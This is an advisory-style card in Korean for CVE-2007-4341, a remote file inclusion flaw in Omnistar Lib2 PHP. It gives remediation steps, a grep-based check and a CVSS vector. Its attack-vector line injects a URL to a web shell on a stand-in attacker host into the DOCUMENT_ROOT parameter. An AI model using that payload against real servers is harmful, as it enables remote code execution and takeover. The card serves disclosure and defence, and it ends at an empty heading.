🔍 CVE-2007-4341

📍 영향받는 시스템

Omnistar Lib2 PHP 버전 0.2 및 이전 버전

⚔️ 공격 벡터

http://target.com/adm/my_statistics.php?DOCUMENT_ROOT=http://attacker.com/shell.php% 형식으로 DOCUMENT_ROOT 파라미터에 원격 URL 주입

🛡️ 대응 방법

Omnistar Lib2 PHP를 최신 버전으로 업그레이드하거나, DOCUMENT_ROOT 파라미터 입력값을 엄격하게 검증하고 원격 파일 포함(allow_url_include) 비활성화

🔧 검증 코드

my_statistics.php 파일이 발견되거나 Omnistar 코드에서 DOCUMENT_ROOT가 검증 없이 사용되면 취약점이 존재합니다

find /var/www -name 'my_statistics.php' 2>/dev/null; grep -r 'DOCUMENT_ROOT' /var/www 2>/dev/null | grep -i omnistar | head -3

📊 CVSS Vector String

AV:N/AC:L/Au:N/C:P/I:P/A:P

💻 영향받는 소프트웨어